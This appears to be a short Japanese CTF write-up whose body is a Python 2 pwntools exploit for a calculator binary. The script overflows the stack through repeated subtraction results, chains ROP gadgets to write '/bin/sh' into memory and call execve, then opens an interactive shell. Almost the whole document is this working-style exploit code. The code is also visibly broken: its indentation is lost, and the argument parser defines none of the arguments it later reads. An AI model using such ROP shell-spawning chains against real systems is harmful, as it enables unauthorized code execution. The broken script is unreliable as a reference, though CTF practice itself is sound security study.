## problem

バイナリはほぼ一致していて、以下だけが異なる。 これによりstackが壊れた後のfree(buf);free(NULL);にしてやり過ごすことができない。

## implementation

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
args = parser.parse_args()
context.log_level = args.log_level
elf = ELF(args.binary)

# int divv[3]; 0x6c4a90
# int mul [3]; 0x6c4aa0
# int sub [3]; 0x6c4ab0

# p = remote(args.host, args.port)
p = process(args.binary)
p.recvuntil('Expected number of calculations: ')
p.sendline('255')
def calc(op, x, y):
p.recvuntil('=> ')
p.sendline(str({ '+': 1, '-': 2, '*': 3, '/': 4 }[op]))
p.recvuntil('Integer x: ')
p.sendline(str(x))
p.recvuntil('Integer y: ')
p.sendline(str(y))
def write64(value):
for z in [ u32(p64(value)[:4]), u32(p64(value)[4:]) ]:
for x in range(0x100):
y = (x - z) % 0x100000000
if x >= 40 and y >= 40:
calc('-', x, y)
break
else:
assert False

write64(u64('AAAAAAAA'))
write64(u64('AAAAAAAA'))
write64(u64('AAAAAAAA'))
write64(u64('AAAAAAAA'))
write64(u64('AAAAAAAA'))
write64(u64('AAAAAAAA'))
write64(0x6c4a90) # free
write64(u64('AAAAAAAA'))
write64(1) # rbp

# write /bin/sh
write64(0x401b73) # pop rdi ; ret
write64(0x006c2000 - 8)
write64(0x44db34) # pop rax ; ret
write64(u64('/bin/sh\0'))
write64(0x40dc26) # mov qword ptr [rdi + 8], rax ; ret

# sys_execve
write64(0x401b73) # pop rdi ; ret
write64(0x006c2000)
write64(0x401c87) # pop rsi ; ret
write64(0)
write64(0x437a85) # pop rdx ; ret
write64(0)
write64(0x44db34) # pop rax ; ret
write64(59) # sys_execve
write64(0x4648e5) # syscall

# make chunk
calc('+', 40+33, -40)
calc('-', 41, 41)
calc('/', 41, 41)
calc('*', 41, 41)

p.recvuntil('=> ')
p.sendline('5')
time.sleep(1)
p.sendline('id')
p.interactive()